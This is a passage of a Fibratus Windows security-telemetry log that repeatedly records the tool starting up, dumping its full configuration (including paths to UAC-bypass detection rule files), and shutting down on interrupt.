http=>[ tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false serializer=>json timeout=>5s enabled=>false method=>POST] elasticsearch=>[ gzip-compression=>false trace-log=>false timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false healthcheck=>true bulk-workers=>1 healthcheck-timeout=>5s template-name=>fibratus flush-period=>1s healthcheck-interval=>10s sniff=>false index-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-registry=>false skip-mmaps=>false enabled=>false excluded-files=>[] skip-allocs=>false excluded-procs=>[] scan-timeout=>10s skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-28T13:36:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:36:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:36:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T13:36:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:36:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:37:08+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T13:37:08+01:00 level=info msg=bootstrapping with pid 12384. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T13:37:08+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true to=>[] enabled=>false port=>25 content-type=>text/html] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-vamap=>true enable-image=>true enable-net=>true flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true buffer-size=>512 enable-threadpool=>true max-buffers=>36 enable-thread=>true enable-handle=>false enable-mem=>false enable-dns=>false min-buffers=>16 enable-fileio=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text max-age=>0 level=>info log-stdout=>true max-size=>100] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ enabled=>false level=>info] amqp=>[ delivery-mode=>transient durable=>false timeout=>5s url=>amqp://localhost:5672 exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus enabled=>false exchange-type=>topic passive=>false vhost=>/] http=>[ enable-gzip=>false endpoints=>[] enabled=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST serializer=>json] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s healthcheck-timeout=>5s trace-log=>false bulk-workers=>1 healthcheck=>true template-name=>fibratus gzip-compression=>false timeout=>5s flush-period=>1s index-name=>fibratus sniff=>false enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false excluded-procs=>[] excluded-files=>[] fastscan=>true enabled=>false skip-mmaps=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-28T13:37:09+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:37:11+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:39:38+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T13:39:38+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:39:39+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:41:06+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T13:41:06+01:00 level=info msg=bootstrapping with pid 7232. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T13:41:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false port=>25 use-template=>true to=>[] content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-fileio=>true enable-thread=>true enable-threadpool=>true max-buffers=>36 enable-audit-api=>true enable-vamap=>true min-buffers=>16 enable-net=>true stack-enrichment=>true flush-interval=>1s enable-mem=>false enable-image=>true buffer-size=>512 enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 log-stdout=>true level=>info max-backups=>15] + output ......................... [ amqp=>[ passive=>false timeout=>5s tls-insecure-skip-verify=>false enabled=>false routing-key=>fibratus url=>amqp://localhost:5672 exchange-type=>topic vhost=>/ delivery-mode=>transient durable=>false exchange=>fibratus] elasticsearch=>[ gzip-compression=>false healthcheck=>true servers=>[http://127.0.0.1:9200] flush-period=>1s index-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 trace-log=>false template-name=>fibratus enabled=>false timeout=>5s healthcheck-timeout=>5s sniff=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ enabled=>false tls-insecure-skip-verify=>false method=>POST serializer=>json timeout=>5s enable-gzip=>false endpoints=>[]] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-files=>false skip-registry=>false excluded-procs=>[] excluded-files=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false scan-timeout=>10s skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-28T13:41:06+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:41:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:41:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T13:41:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:41:55+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:42:53+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T13:42:53+01:00 level=info msg=bootstrapping with pid 16800. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T13:42:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ use-template=>true enabled=>false content-type=>text/html port=>25 to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-vamap=>true enable-handle=>false enable-mem=>false buffer-size=>512 enable-image=>true min-buffers=>16 flush-interval=>1s enable-dns=>false enable-registry=>true enable-thread=>true enable-net=>true max-buffers=>36 enable-audit-api=>true stack-enrichment=>true enable-threadpool=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true level=>info max-age=>0 formatter=>text max-size=>100] + output ......................... [ amqp=>[ exchange-type=>topic vhost=>/ timeout=>5s enabled=>false tls-insecure-skip-verify=>false exchange=>fibratus routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 passive=>false durable=>false] elasticsearch=>[ trace-log=>false healthcheck-timeout=>5s bulk-workers=>1 healthcheck-interval=>10s template-name=>fibratus flush-period=>1s enabled=>false timeout=>5s sniff=>false healthcheck=>true index-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ timeout=>5s endpoints=>[] method=>POST serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false fastscan=>true excluded-files=>[] scan-timeout=>10s skip-mmaps=>false skip-registry=>false skip-files=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-28T13:42:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:42:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T13:43:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T13:43:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T13:43:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T15:45:43+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T15:45:43+01:00 level=info msg=bootstrapping with pid 20692. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T15:45:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true content-type=>text/html port=>25 to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ max-buffers=>36 enable-handle=>false enable-fileio=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-threadpool=>true enable-image=>true enable-dns=>false stack-enrichment=>true enable-net=>true min-buffers=>16 enable-thread=>true enable-vamap=>true buffer-size=>512 enable-mem=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text log-stdout=>true level=>info max-backups=>15 max-age=>0] + output ......................... [ elasticsearch=>[ sniff=>false timeout=>5s healthcheck=>true bulk-workers=>1 flush-period=>1s trace-log=>false healthcheck-interval=>10s index-name=>fibratus enabled=>false template-name=>fibratus healthcheck-timeout=>5s gzip-compression=>false servers=>[http://127.0.0.1:9200]] eventlog=>[ level=>info enabled=>false] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false serializer=>json enable-gzip=>false method=>POST timeout=>5s] amqp=>[ timeout=>5s routing-key=>fibratus enabled=>false exchange=>fibratus delivery-mode=>transient passive=>false durable=>false url=>amqp://localhost:5672 exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false skip-registry=>false excluded-files=>[] scan-timeout=>10s fastscan=>true excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-28T15:45:53+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T15:45:53+01:00 level=info msg=bootstrapping with pid 19948. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T15:45:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false content-type=>text/html to=>[] port=>25] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-threadpool=>true enable-fileio=>true min-buffers=>16 enable-mem=>false buffer-size=>512 max-buffers=>36 stack-enrichment=>true enable-thread=>true enable-dns=>false enable-registry=>true flush-interval=>1s enable-net=>true enable-vamap=>true enable-handle=>false enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-age=>0 max-size=>100 formatter=>text max-backups=>15] + output ......................... [ amqp=>[ vhost=>/ enabled=>false passive=>false exchange=>fibratus durable=>false timeout=>5s exchange-type=>topic tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 delivery-mode=>transient] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false timeout=>5s enable-gzip=>false serializer=>json method=>POST] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ enabled=>false trace-log=>false healthcheck-interval=>10s template-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] timeout=>5s flush-period=>1s index-name=>fibratus sniff=>false healthcheck-timeout=>5s healthcheck=>true bulk-workers=>1]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false scan-timeout=>10s skip-mmaps=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false excluded-procs=>[] skip-registry=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-28T15:45:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T15:45:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T15:51:08+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T15:51:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T15:51:09+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T15:51:24+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T15:51:24+01:00 level=info msg=bootstrapping with pid 17328. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T15:51:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] use-template=>true content-type=>text/html port=>25 enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false min-buffers=>16 stack-enrichment=>true enable-thread=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-fileio=>true enable-image=>true enable-vamap=>true enable-registry=>true max-buffers=>36 enable-net=>true enable-audit-api=>true enable-threadpool=>true buffer-size=>512 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 max-size=>100 formatter=>text log-stdout=>true max-age=>0] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ enabled=>false method=>POST timeout=>5s enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json] elasticsearch=>[ gzip-compression=>false index-name=>fibratus sniff=>false healthcheck=>true healthcheck-timeout=>5s bulk-workers=>1 flush-period=>1s enabled=>false timeout=>5s trace-log=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] template-name=>fibratus] amqp=>[ passive=>false exchange=>fibratus delivery-mode=>transient durable=>false enabled=>false exchange-type=>topic routing-key=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 vhost=>/ timeout=>5s] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true excluded-files=>[] excluded-procs=>[] skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-registry=>false enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-28T15:51:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T15:51:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T15:52:15+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T15:52:15+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T15:52:16+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T15:52:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T15:52:33+01:00 level=info msg=bootstrapping with pid 14900. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T15:52:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true enable-audit-api=>true enable-thread=>true enable-threadpool=>true enable-dns=>false enable-registry=>true min-buffers=>16 flush-interval=>1s max-buffers=>36 enable-mem=>false enable-image=>true enable-handle=>false buffer-size=>512 enable-net=>true enable-fileio=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 max-age=>0 max-size=>100 level=>info formatter=>text] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ timeout=>5s endpoints=>[] enable-gzip=>false method=>POST enabled=>false serializer=>json tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] amqp=>[ url=>amqp://localhost:5672 exchange=>fibratus passive=>false tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic enabled=>false durable=>false routing-key=>fibratus timeout=>5s vhost=>/] elasticsearch=>[ timeout=>5s enabled=>false index-name=>fibratus healthcheck=>true healthcheck-interval=>10s healthcheck-timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s bulk-workers=>1 trace-log=>false gzip-compression=>false sniff=>false]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false excluded-procs=>[] fastscan=>true enabled=>false skip-files=>false skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-28T15:52:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T15:52:36+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T15:52:54+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T15:52:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T15:52:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T15:53:11+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-28T15:53:11+01:00 level=info msg=bootstrapping with pid 17696. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-28T15:53:11+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html use-template=>true port=>25 to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + 